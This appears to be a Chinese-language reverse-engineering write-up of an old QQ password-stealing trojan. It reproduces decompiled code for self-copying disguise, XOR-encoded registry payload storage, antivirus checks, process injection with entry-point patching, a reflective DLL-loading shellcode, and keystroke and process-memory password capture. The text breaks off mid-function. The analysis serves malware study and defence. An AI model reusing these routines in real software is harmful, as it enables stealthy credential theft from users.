某QQ木马分析
这是一个较老的QQ木马文件,文件也不大,但是剖开来看却是机关重重内藏玄机。
木马文件简单的通过图标来伪装成安装程序,用户只要不小心打开了,在权限足够的情况下就被种下木马了。
首先来分析主文件,其中主函数过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 |
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { CHAR v5; // [sp+Ch] [bp-410h]@10 char v6; // [sp+Dh] [bp-40Fh]@10 __int16 v7; // [sp+10Dh] [bp-30Fh]@10 char v8; // [sp+10Fh] [bp-30Dh]@10 CHAR PathName; // [sp+110h] [bp-30Ch]@10 CHAR pszPath; // [sp+214h] [bp-208h]@9 CHAR NewFileName; // [sp+318h] [bp-104h]@9 OSMajorVersion = GetVersion() == 6; // 判断操作系统主版本为6 ( >vista) memset(ExistingFileName, 0, 0x104u); GetModuleFileNameA(0, ExistingFileName, 0x104u); VirtualProtectAddr = GetProcAddr(aKernel32_dll_0, aVirtualprotect); memset(TempPath, 0, sizeof(TempPath)); ExpandEnvironmentStringsA(aTempTmp092_tmp, TempPath, 0x104u); if ( StrStrIA(ExistingFileName, aLive360) || StrStrIA(ExistingFileName, aIechecker) // 通过模块名判断文件是否被伪装 || StrStrIA(ExistingFileName, aFxsst_dll) ) { goto LABEL_11; } if ( !SetExist() ) // 设置已被打开过 { memset(&v6, 0, 0x100u); v7 = 0; v8 = 0; memset(&PathName, 0, 0x104u); SHGetSpecialFolderPathA(0, &PathName, 26, 0); qmemcpy(&v5, &PathName, 0x104u); strcat(&PathName, a360); strcat(&v5, aTemp); CreateDirectoryA(&PathName, 0); CreateDirectoryA(&v5, 0); strcat(&PathName, aLive360_exe); strcat(&v5, aTemp1_exe); CopyFileA(ExistingFileName, &PathName, 0); // 拷贝自身到360安装目录,伪装成Live360.exe CopyFileA(ExistingFileName, &v5, 0); // 拷贝伪装到系统目录temp/temp1.exe LABEL_11: checkAndInject(); // 检测杀毒软件&木马注入 return 0; } if ( !StrStrIA(ExistingFileName, aLive360) && !StrStrIA(ExistingFileName, aIechecker) && !StrStrIA(ExistingFileName, aFxsst_dll) ) { SetReg(); // 如果是首次打开就把一些数据存入注册表 } memset(&pszPath, 0, 0x104u); SHGetSpecialFolderPathA(0, &pszPath, 26, 0); strcat(&pszPath, a360Live360_exe); CopyFileA(ExistingFileName, &pszPath, 0); memset(&NewFileName, 0, 0x104u); SHGetSpecialFolderPathA(0, &NewFileName, 26, 0); strcat(&NewFileName, aTempTemp1_exe); CopyFileA(ExistingFileName, &NewFileName, 0); // 拷贝伪装到系统目录temp/temp1.exe return 0; } |
如果木马首次打开将会拷贝自身到系统目录和360安装目录来伪装,并会在注册表中存入相关数据。之后执行注入木马操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 |
void SetReg() { _BYTE *v0; // ebp@1 DWORD v1; // eax@1 _BYTE *v2; // edi@3 void (__stdcall *SHSetValueA0)(HKEY, LPCSTR, LPCSTR, DWORD, LPCVOID, DWORD); // esi@11 const CHAR *v4; // [sp-14h] [bp-25938h]@11 const CHAR *v5; // [sp-10h] [bp-25934h]@11 const void *v6; // [sp-8h] [bp-2592Ch]@11 CHAR *v7; // [sp-8h] [bp-2592Ch]@20 DWORD v8; // [sp-4h] [bp-25928h]@11 DWORD cbData; // [sp+10h] [bp-25914h]@1 DWORD pdwType; // [sp+14h] [bp-25910h]@3 DWORD v11; // [sp+18h] [bp-2590Ch]@3 DWORD pcbData; // [sp+1Ch] [bp-25908h]@3 CHAR Filename; // [sp+20h] [bp-25904h]@19 char pvData; // [sp+124h] [bp-25800h]@4 v0 = operator new(0x25800u); cbData = 0x25800; memgetxx(&unk_40BAD4, dword_40BAD0, v0, &cbData); v1 = 0; if ( cbData ) { do v0[v1++] ^= 0x66u; while ( v1 < cbData ); } v2 = operator new(0x5000u); v11 = 20480; memgetxx(&unk_40A2D0, dword_40A2CC, v2, &v11); pcbData = 0x25800; pdwType = 3; if ( OSMajorVersion ) { pdwType = 3; pcbData = 0x25800; SHGetValueA(HKEY_CURRENT_USER, a_Software_rar, aData, &pdwType, &pvData, &pcbData); } else if ( SHGetValueA(HKEY_LOCAL_MACHINE, a_Software_rar, aData, &pdwType, &pvData, &pcbData) ) { pdwType = 3; pcbData = 0x25800; SHGetValueA(HKEY_CURRENT_USER, a_Software_rar, aData, &pdwType, &pvData, &pcbData); } memXor58(&pvData, 0x25800); // 数据加密xor 0x58 if ( OSMajorVersion ) // 删除原注册信息 { SHDeleteValueA(HKEY_CURRENT_USER, a_Software_rar, aS); SHDeleteValueA(HKEY_CURRENT_USER, a_Software_rar, aData); SHDeleteValueA(HKEY_CURRENT_USER, a_Software_rar, aE); } else { SHDeleteValueA(HKEY_LOCAL_MACHINE, a_Software_rar, aS); SHDeleteValueA(HKEY_LOCAL_MACHINE, a_Software_rar, aData); SHDeleteValueA(HKEY_LOCAL_MACHINE, a_Software_rar, aE); } memXor58(v0, cbData); // 数据加密xor 0x58 if ( OSMajorVersion ) { SHSetValueA0 = SHSetValueA; v8 = cbData; v6 = v0; v5 = aData; v4 = a_Software_rar; } else { SHSetValueA0 = SHSetValueA; // 在Software/rar下存入名为data的键值 if ( !SHSetValueA(HKEY_LOCAL_MACHINE, a_Software_rar, aData, 3u, v0, cbData) ) goto LABEL_15; v8 = cbData; v6 = v0; v5 = aData; v4 = a_Software_rar; } SHSetValueA0(HKEY_CURRENT_USER, v4, v5, 3u, v6, v8); LABEL_15: memXor58(v2, v11); if ( OSMajorVersion ) { // 在Software/rar下存入名为s的键值 SHSetValueA0(HKEY_CURRENT_USER, a_Software_rar, aS, 3u, v2, v11); } else if ( (SHSetValueA0)(HKEY_LOCAL_MACHINE, a_Software_rar, aS, 3u, v2, v11) ) { SHSetValueA0(HKEY_CURRENT_USER, a_Software_rar, aS, 3u, v2, v11); } memset(&Filename, 0, 0x104u); GetModuleFileNameA(0, &Filename, 0x104u); memXor58(&Filename, 260); if ( OSMajorVersion ) { // 在Software/rar下存入名为e的键值 v7 = &Filename; LABEL_23: SHSetValueA0(HKEY_CURRENT_USER, a_Software_rar, aE, 3u, v7, 0x104u); goto LABEL_24; } if ( (SHSetValueA0)(HKEY_LOCAL_MACHINE, a_Software_rar, aE, 3u, &Filename, 0x104u) ) { v7 = &Filename; goto LABEL_23; } LABEL_24: delete(v0); } |
程序会在注册表下Software/rar下存入3个键,data、s、e,其中最主要的的data键值,他存储的是需要注入的可执行文件数据,这在后面会讲到。
在注入木马前会检测几种杀毒软件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
char checkAndInject() { void *v0; // ebx@1 CHAR pszPath; // [sp+10h] [bp-208h]@6 CHAR v3; // [sp+114h] [bp-104h]@6 v0 = operator new(0x104u); memset(v0, 0, 0x104u); // 检测360、瑞星、微点、江明 if ( check360() || checkRuixing() || checkWeidian() || checkJiangMing() ) { if ( !StrStrIA(ExistingFileName, aLive360) )// 如果存在360目录 { memset(&pszPath, 0, 0x104u); SHGetSpecialFolderPathA(0, &pszPath, 26, 0); strcat(&pszPath, a360); strcat(&pszPath, aLive360_exe); SetReg(); memset(&v3, 0, 0x104u); SHGetSpecialFolderPathA(0, &v3, 7, 0); strcat(&v3, aLiveupdate_lnk); set360ExtMenu(&pszPath); // 从注册表加入360菜单 if ( checkKaspersky() ) // 如果检测到卡巴斯基直接退出 return 0; } Sleep(0x1388u); } if ( CreateProcessAndInject(aVIsvchost) ) { delete(v0); return 1; } memset(v0, 0, 0x104u); SHGetSpecialFolderPathA(0, v0, 36, 0); strcat(v0, aSystem32Winlog); if ( CreateProcessAndInject(v0) ) // 创建WinLogon进程&注入木马 { delete(v0); return 1; } return 0; } |
检测杀毒软件之后程序会以CREATE_SUSPENDED模式创建WinLogon进程,之后在对新进程进行dll和数据注入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 |
char __cdecl CreateProcessAndInject(int a1) { HMODULE _CreateProcessA; // eax@1 char result; // al@2 HMODULE _GetThreadContext; // eax@7 DWORD entryPoint; // esi@7 DWORD v5; // ebx@7 HMODULE _Sleep; // edi@7 HMODULE _CreateThread; // eax@7 HMODULE _ReadProcessMem; // ebp@7 ...... HMODULE v32; // [sp+7Bh] [bp-369h]@7 char v33; // [sp+7Fh] [bp-365h]@7 char v34; // [sp+80h] [bp-364h]@7 char v35; // [sp+81h] [bp-363h]@7 char v36; // [sp+82h] [bp-362h]@7 HANDLE hProcess; // [sp+84h] [bp-360h]@1 HANDLE hThread; // [sp+88h] [bp-35Ch]@1 int v39; // [sp+8Ch] [bp-358h]@1 int v40; // [sp+90h] [bp-354h]@1 int v41; // [sp+94h] [bp-350h]@7 int v42; // [sp+98h] [bp-34Ch]@7 int v43; // [sp+9Ch] [bp-348h]@7 HMODULE _WriteProcessMem; // [sp+A0h] [bp-344h]@7 int v45; // [sp+A4h] [bp-340h]@7 char v46; // [sp+A8h] [bp-33Ch]@7 __int16 v47; // [sp+D0h] [bp-314h]@7 char v48; // [sp+D2h] [bp-312h]@7 struct _STARTUPINFOA StartupInfo; // [sp+D4h] [bp-310h]@1 _CONTEXT _context; // [sp+118h] [bp-2CCh]@7 hThread = 0; v39 = 0; memset(&StartupInfo.lpReserved, 0, 0x40u); hProcess = 0; v40 = 0; StartupInfo.cb = 68; GetStartupInfoA(&StartupInfo); _CreateProcessA = GetProcAddr(aKernel32_dll_1, aCreateprocessa); if ( (_CreateProcessA)(a1, 0, 0, 0, 0, 4, 0, 0, &StartupInfo, &hProcess) )// 以CREATE_SUSPENDED模式创建线程 { if ( !StrStrIA(First, Srch) && !StrStrIA(First, aIechecker) && !StrStrIA(First, aFxsst_dll) ) SetReg(); _context.ContextFlags = 0x10007; _GetThreadContext = GetProcAddr(aKernel32_dll_1, aGetthreadconte); (_GetThreadContext)(hThread, &_context); entryPoint = _context.Eax; // 从线程context.eax来获取EntryPoint v10 = 6852752; v20 = 106; v22 = 106; v29 = 106; v15 = 104; v41 = 0; v9 = 0; v11 = 1778384896; v12 = 26624; ...... v24 = -24; v31 = -24; v5 = _context.Eax + 1; v30 = -1; VirtualProtectAddr(hProcess, _context.Eax + 1, 43, 64, &v45);// 使entryPoint+1开始部分的内存可写 GetExeData(&v42, &v43); // 获取需注入的dll程序数据 InjectData(hProcess, v42, v43, &v9); // 注入数据 _Sleep = GetProcAddr(aKernel32_dll_1, aSleep);// 获取kernel32.sleep的地址 _CreateThread = GetProcAddr(aKernel32_dll_1, aCreatethread);// 获取kernel32.CreateThread的地址 *(&v10 + 3) = entryPoint + 40; *&v25 = _CreateThread + -entryPoint - 33; v32 = (_Sleep + -entryPoint - 40); _WriteProcessMem = GetProcAddr(aKernel32_dll_1, aWriteprocessme); _ReadProcessMem = GetProcAddr(aKernel32_dll_1, aReadprocessmem); memset(&v46, 0, 0x28u); v47 = 0; v48 = 0; if ( (_ReadProcessMem)(hProcess, entryPoint, &v46, 1, &v41) ) { if ( v46 != -24 ) v9 = 0x90909090; if ( (_WriteProcessMem)(hProcess, v5, &v9, 43, &v41) )// patch entryPoint的代码,注入code { if ( (_ReadProcessMem)(hProcess, v5, &v46, 43, &v41) ) { ResumeThread(hThread); CloseHandle(hThread); CloseHandle(hProcess); result = 1; } else { CloseHandle(hProcess); result = 0; } } else { CloseHandle(hProcess); result = 0; } } else { CloseHandle(hProcess); result = 0; } } else { result = 0; } return result; } |
注入的内容分4部分(dll数据部分注入了两次):主dll数据、模块名等信息、shellcode、shellcode参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
int __stdcall InjectData(HANDLE hProcess, int a2, int a3, int a4) { void *v4; // ebp@1 unsigned int v5; // eax@2 void *v6; // ebx@4 int v8; // [sp+10h] [bp-138h]@1 LPVOID lpAddress; // [sp+14h] [bp-134h]@1 int v10; // [sp+18h] [bp-130h]@1 HMODULE v11; // [sp+1Ch] [bp-12Ch]@1 HMODULE v12; // [sp+20h] [bp-128h]@1 HMODULE v13; // [sp+24h] [bp-124h]@1 HMODULE v14; // [sp+28h] [bp-120h]@1 HMODULE v15; // [sp+2Ch] [bp-11Ch]@1 HMODULE v16; // [sp+30h] [bp-118h]@1 unsigned int v17; // [sp+38h] [bp-110h]@1 CHAR Filename; // [sp+3Ch] [bp-10Ch]@1 int v19; // [sp+140h] [bp-8h]@1 int v20; // [sp+144h] [bp-4h]@1 memset(&v17, 0, 0x110u); GetModuleFileNameA(0, &Filename, 0x104u); v17 = 0x88889999; v19 = a3; v20 = VirtualAllocExAndWrite(hProcess, a3, a2);// 注入dll数据 v4 = 0; v10 = VirtualAllocExAndWrite(hProcess, 0x110, &v17);// 注入模块名等信息 v8 = a3; // 设置shellcode参数 v14 = GetProcAddr(aKernel32_dll_1, aVirtualfree); v15 = GetProcAddr(aKernel32_dll_1, aLoadlibrarya); v16 = GetProcAddr(aKernel32_dll_1, aVirtualprote_0); v11 = GetProcAddr(aKernel32_dll_1, aGetmodulehandl); v12 = GetProcAddr(aKernel32_dll_1, aGetprocaddress); v13 = GetProcAddr(aKernel32_dll_1, aVirtualalloc); lpAddress = VirtualAllocExAndWrite(hProcess, a3, a2);// 再次注入dll数据 if ( lpAddress ) { v5 = 0; do byte_40A040[v5++] -= 3; // shellcode解密 while ( v5 < 0x283 ); v6 = VirtualAllocExAndWrite(hProcess, 643, byte_40A040);// 注入shellcode if ( v6 ) { v4 = VirtualAllocExAndWrite(hProcess, 40, &v8);// 注入shellcode参数 if ( v4 ) { *(a4 + 14) = v4; *(a4 + 19) = v6; return 1; } } if ( lpAddress ) VirtualFreeEx(hProcess, lpAddress, 0, 0x8000u); if ( v6 ) VirtualFreeEx(hProcess, v6, 0, 0x8000u); if ( v4 ) VirtualFreeEx(hProcess, v4, 0, 0x8000u); } CloseHandle(hProcess); return -1; } |
内存的注入在od中可以直观的显示出来:
注入完成后就是patch entryPoint的代码来执行注入数据了,原本的入口点代码被替换为执行shellcode的相应代码:
原本的入口点代码被替换,新code的任务是创建以所注入的shellcode为入口点的新线程,以及sleep 主线程。
现将注入的shellcode提取并分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 |
signed int __stdcall shellcode_loadDll(LoadInfo *loadinfo) { LoadInfo *loadinfo0; // ebx@1 int v2; // esi@1 int v3; // ecx@1 int v4; // ST00_4@1 int v5; // eax@3 char *v6; // edi@5 const void *v7; // esi@5 int v8; // eax@7 char *v9; // esi@9 char *v10; // edi@10 char *v11; // edi@12 int v12; // eax@12 int v13; // eax@13 int v14; // eax@17 _DWORD *v15; // ecx@18 char *i; // ecx@23 int v17; // esi@25 _WORD *v18; // edx@25 char *v19; // esi@25 __int16 v20; // di@26 char *v21; // eax@26 unsigned int v22; // edi@28 int v23; // edi@35 _WORD *v24; // edx@35 char *v25; // edi@40 int v26; // esi@41 signed int v27; // eax@42 char v29; // [sp+Ch] [bp-24h]@44 char *v30; // [sp+10h] [bp-20h]@5 unsigned int v31; // [sp+14h] [bp-1Ch]@5 _WORD *v32; // [sp+18h] [bp-18h]@35 int v33; // [sp+1Ch] [bp-14h]@1 char *v34; // [sp+20h] [bp-10h]@1 int v35; // [sp+24h] [bp-Ch]@1 char *v36; // [sp+28h] [bp-8h]@4 char *v37; // [sp+2Ch] [bp-4h]@10 char *dlladdr; // [sp+38h] [bp+8h]@1 loadinfo0 = loadinfo; v2 = *(loadinfo->baseAddr + 60) + loadinfo->baseAddr; v35 = v2; v3 = *(v2 + 80); v34 = *(v2 + 6); v4 = *(v2 + 52); v33 = v3; dlladdr = (loadinfo->a_VirtualAlloc)(v4, v3, 0x3000, 64);// 申请内存 if ( !dlladdr ) { dlladdr = (loadinfo0->a_VirtualAlloc)(0, v33, 0x3000, 4); if ( !dlladdr ) return 0; } qmemcpy(dlladdr, loadinfo0->baseAddr, *(v2 + 84));// 加载pe头 v5 = *(loadinfo0->baseAddr + 60) + loadinfo0->baseAddr + 248; v33 = *(loadinfo0->baseAddr + 60) + loadinfo0->baseAddr + 248; if ( v34 > 0 ) { v36 = v34; do { v6 = &dlladdr[*(v5 + 12)]; v7 = (loadinfo0->baseAddr + *(v5 + 20)); v31 = *(v5 + 16); v30 = v6; qmemcpy(v6, v7, v31); // 加载各个段 v5 += 40; --v36; } while ( v36 ); v33 = v5; } v8 = v35; if ( *(v35 + 116) < 16 ) goto LABEL_47; if ( *(v35 + 132) ) { v9 = &dlladdr[*(v35 + 128)]; if ( *v9 ) { do { v10 = &dlladdr[*(v9 + 3)]; // IAT 处理 v37 = (loadinfo0->a_GetModuleHandleA)(&dlladdr[*(v9 + 3)]); if ( !v37 ) { v37 = (loadinfo0->a_LoadLibraryA)(v10); if ( !v37 ) goto LABEL_47; } v11 = &dlladdr[*v9]; *(v9 + 2) = v37; v12 = *(v9 + 4); *(v9 + 1) = 428086071; v36 = &dlladdr[v12]; while ( 1 ) { v13 = *v11; if ( !*v11 ) break; if ( v13 & 0x80000000 ) v13 = v13; else v13 += (dlladdr + 2); v14 = (loadinfo0->a_GetProcAddress)(v37, v13);// 获取API地址 if ( !v14 ) goto LABEL_47; v15 = v36; v11 += 4; v36 += 4; *v15 = v14; } v9 += 20; } while ( *v9 ); v8 = v35; } } v37 = &dlladdr[-*(v8 + 52)]; if ( v37 && *(v8 + 164) ) { for ( i = &dlladdr[*(v8 + 160)]; ; i += *(i + 1) )// 重定位处理 { if ( !*i ) break; v17 = *(i + 1); v36 = 0; v18 = i + 8; v19 = ((v17 - 8) >> 1); if ( v19 <= 0 ) continue; do { v20 = *v18 & 0xF000; v21 = &dlladdr[*v18 & 0xFFF] + *i; if ( !v20 ) goto LABEL_36; if ( v20 == 4096 ) { v22 = v37 >> 16; LABEL_29: *v21 += v22; goto LABEL_36; } if ( v20 == 0x2000 ) { LOWORD(v22) = v37; goto LABEL_29; } if ( v20 == 0x3000 ) { *v21 += v37; } else { if ( v20 != 0x4000 ) goto LABEL_47; v23 = *v21; v24 = v18 + 1; v32 = v24; *v21 = &v37[(*v24 | (v23 << 16)) + 0x8000] >> 16; v18 = v32; } LABEL_36: ++v18; ++v36; } while ( v36 < v19 ); v8 = v35; } } if ( !(&dlladdr[*(v8 + 40)])(dlladdr, 1, loadinfo0->unuse) ) { LABEL_47: // 加载失败释放内存 (loadinfo0->a_VirtualFree)(dlladdr, 0, 0x8000); return 0; } v25 = v34; if ( v34 > 0 ) { v26 = v33 + 36; do { v27 = 8; if ( *(v26 + 3) & 4 ) v27 = 520; (loadinfo0->a_VirtualProctect)(v30, v31, v27, &v29);// 设置内存保护 v26 += 40; --v25; } while ( v25 ); } return 1; } |
它其实是一个loaddll的过程,其中包括载入段、解析IAT、修复重定位的过程。传入的shellcode参数的结构为:
1 2 3 4 5 6 7 8 9 10 11 |
00000000 LoadInfo struc ; (sizeof=0x24, mappedto_1) 00000000 size dd ? 00000004 baseAddr dd ? 00000008 unuse dd ? 0000000C a_GetModuleHandleA dd ? 00000010 a_GetProcAddress dd ? 00000014 a_VirtualAlloc dd ? 00000018 a_VirtualFree dd ? 0000001C a_LoadLibraryA dd ? 00000020 a_VirtualProctect dd ? 00000024 LoadInfo ends |
这里包含的api地址是根据系统api在同系统环境下进程地址相同的原理来注入的,这使得shellcode可以直接调用,在OD中可以直观的看出参数数据。
下面dump出该dll来进行分析,该dll其实也是个加载器,不过它是从注册表中加载数据来解密的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
int __thiscall sub_100012AE(void *this) { void *v1; // esp@1 int v2; // ST10_4@5 int v4; // [sp-25828h] [bp-25828h]@1 int v5; // [sp-25818h] [bp-25818h]@3 signed int v6; // [sp-18h] [bp-18h]@2 void *v7; // [sp-14h] [bp-14h]@1 int *v8; // [sp-10h] [bp-10h]@1 int v9; // [sp-4h] [bp-4h]@1 v7 = this; v1 = alloca(153608); v9 = 0; ++dword_1000326C; v8 = &v4; if ( dword_1000326C == 1 ) { // 从data键中获取dll数据 if ( (DecodeData_xor58((int)pszSubKey, 256), v7 = (void *)153600, v6 = 3, (unsigned __int8)GetVersion() != 6) && !SHGetValueA(HKEY_LOCAL_MACHINE, pszSubKey, a_Data, (DWORD *)&v6, &v5, (DWORD *)&v7) || (v6 = 3, v7 = (void *)153600, !SHGetValueA(HKEY_CURRENT_USER, pszSubKey, a_Data, (DWORD *)&v6, &v5, (DWORD *)&v7)) ) { DecodeData_xor58((int)&v5, (int)v7); // 解密dll数据 xor 0x58 LoadDll_fromMemory((int)&v5, v2); // 从内存load dll } } return 0; } |
最后解密并加载的就是最终的木马dll了,我从注册表中提取出数据自行解密来进行分析。该dll的内容比较多不过最主要的部分还是显而易见的,从中可以断定它是一个针对QQ2009-2011版本的木马程序。以下分析几个关键的函数部分。
获取账号信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 |
void __fastcall infoGetAndSave(const CHAR *a1, int a2, char *Str) { HWND v3; // eax@2 size_t v4; // eax@3 size_t v5; // eax@4 size_t v6; // eax@5 HWND v7; // eax@6 DWORD v8; // eax@6 HWND v9; // eax@6 char v10; // al@7 int v11; // edi@9 int v12; // edi@17 DWORD v13; // eax@22 LPCSTR v14; // eax@23 size_t v15; // eax@25 void *v16; // esi@25 size_t v17; // eax@25 HANDLE v18; // eax@27 void *v19; // edi@27 const CHAR *v20; // eax@30 _BYTE *v21; // eax@30 const void *v22; // esi@30 char *v23; // ecx@31 char v24; // dl@32 CHAR ClassName; // [sp+Ch] [bp-210h]@6 CHAR String; // [sp+10Ch] [bp-110h]@2 DWORD dwProcessId; // [sp+20Ch] [bp-10h]@6 DWORD idAttach; // [sp+210h] [bp-Ch]@6 LPCSTR lpFileName; // [sp+214h] [bp-8h]@1 char v30; // [sp+21Bh] [bp-1h]@9 lpFileName = a1; if ( strlen(Str) == 1 ) { v3 = GetForegroundWindow(); if ( GetWindowTextA(v3, &String, 255) ) { v4 = strlen("QQ2009"); // 针对QQ2009 2010 以及2011 if ( !strnicmp(&String, "QQ2009", v4) || (v5 = strlen("QQ2010"), !strnicmp(&String, "QQ2010", v5)) || (v6 = strlen("QQ2011"), !strnicmp(&String, "QQ2011", v6)) ) { v7 = GetForegroundWindow(); // 获取QQ聊天窗口 idAttach = GetWindowThreadProcessId(v7, &dwProcessId);// 根据窗口获取线程ID v8 = GetCurrentThreadId(); AttachThreadInput(idAttach, v8, 1); // 捕捉线程键盘输入 v9 = GetFocus(); GetClassNameA(v9, &ClassName, 255); if ( !stricmp(&ClassName, "Edit") ) // 判断焦点是否在编辑框 { v10 = *Str; if ( *Str >= 'a' && v10 <= 'z' ) { v30 = toupper(v10); v11 = 0; if ( strlen(&passwordData) ) { while ( v30 != *(&passwordData + v11) ) { if ( ++v11 >= strlen(&passwordData) ) goto LABEL_14; } v30 = tolower(passwordData0[v11]);// 根据内存获取的数据以及获取的键盘key来得出password,具体原理未知 } LABEL_14: *Str = v30; } if ( *Str >= '0' && *Str <= '9' ) { v12 = 0; if ( strlen(&passwordData) ) { while ( *Str != *(&passwordData + v12) ) { if ( ++v12 >= strlen(&passwordData) ) goto LABEL_22; } *Str = passwordData0[v12]; } } } LABEL_22: v13 = GetCurrentThreadId(); AttachThreadInput(idAttach, v13, 0); } } } v14 = lpFileName; if ( lpFileName[273] && sub_1000BA37 ) { v15 = strlen(Str); v16 = operator new(v15 + 2); v17 = strlen(Str); memset(v16, 0, v17 + 2); *(_BYTE *)v16 = 21; strcpy((char *)v16 + 1, Str); sub_1000BA37((char *)v16); operator delete(v16); v14 = lpFileName; } if ( v14[272] ) { v18 = CreateFileA(v14, 0x40000000u, 1u, 0, 4u, 0x80u, 0);// 打开文件 v19 = v18; if ( v18 != (HANDLE)-1 ) { if ( GetFileSize(v18, 0) >= 0xA00000 ) { SetFilePointer(v19, 0, 0, 0); SetEndOfFile(v19); } SetFilePointer(v19, 0, 0, 2u); v20 = (const CHAR *)strlen(Str); // 添加password信息 lpFileName = v20; v21 = operator new((unsigned int)v20); v22 = v21; idAttach = 0; if ( (unsigned int)lpFileName > 0 ) { v23 = (char *)(Str - v21); do { v24 = v21[(_DWORD)v23] ^ 0x66; ++idAttach; *v21++ = v24; } while ( idAttach < (unsigned int)lpFileName ); } WriteFile(v19, v22, (DWORD)lpFileName, (LPDWORD)&lpFileName, 0);// 写入文件 CloseHandle(v19); operator delete((void *)v22); } } } |
设置hook 以及检测内存:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 |
LRESULT __stdcall SetQQHookAndCheckMem(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { HMODULE v5; // eax@9 HWND v6; // eax@10 size_t v7; // eax@11 size_t v8; // eax@12 size_t v9; // eax@13 HWND v10; // eax@14 char *v11; // edi@18 int v12; // ebx@27 char Buffer[65536]; // [sp+Ch] [bp-10018h]@17 SIZE_T NumberOfBytesRead; // [sp+1000Ch] [bp-18h]@17 HANDLE hProcess; // [sp+10010h] [bp-14h]@15 DWORD dwProcessId; // [sp+10014h] [bp-10h]@14 LPCVOID lpBaseAddress; // [sp+10018h] [bp-Ch]@16 int v18; // [sp+1001Ch] [bp-8h]@18 char v19; // [sp+10023h] [bp-1h]@16 if ( Msg == 18 ) goto LABEL_6; if ( Msg == 275 ) { v6 = GetForegroundWindow(); if ( GetWindowTextA(v6, Str1, 255) ) { v7 = strlen("QQ2009"); if ( !strnicmp(Str1, "QQ2009", v7) || (v8 = strlen("QQ2010"), !strnicmp(Str1, "QQ2010", v8)) || (v9 = strlen("QQ2011"), !strnicmp(Str1, "QQ2011", v9)) ) { SetDebugPrivilege(); v10 = GetForegroundWindow(); GetWindowThreadProcessId(v10, &dwProcessId);// 获取QQ进程 if ( dwProcessId ) { dword_1001E67C = dwProcessId; KillTimer(hWnd, 1u); hProcess = OpenProcess(0x1F0FFFu, 0, dwProcessId); if ( hProcess ) { v19 = 0; lpBaseAddress = (LPCVOID)0x100000; do { // 读取qq进程内存数据 if ( ReadProcessMemory(hProcess, lpBaseAddress, Buffer, 0x10000u, &NumberOfBytesRead) ) { v18 = 0; v11 = Buffer; do { if ( !memcmp(v11, "!\"#$%&'()*+,-./", 0xFu) ) { if ( v19 ) { if ( memcmp(v11, "!\"#$%&'()*+,-./0123456789", 0x19u) && strlen(v11) > 0x50 ) { v12 = 0; // 搜索内存数据特征 while ( strrchr( "!\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[]^_`abcdefghijklmnopqrstuvwxyz{|}~", v11[v12]) ) { if ( ++v12 >= 25 ) { memcpy(&passwordData, &Buffer[v18], 0x80u);// 根据一些特征从内存提取密码数据 lpBaseAddress = (LPCVOID)0x70000000; goto LABEL_31; } } } } else if ( !memcmp(v11, "!\"#$%&'()*+,-./0123456789", 0x19u) ) { memcpy(passwordData0, v11, 0x80u); v18 += 128; v19 = 1; v11 += 128; } } ++v18; ++v11; } while ( v18 < 0x10000 ); } LABEL_31: lpBaseAddress = (char *)lpBaseAddress + 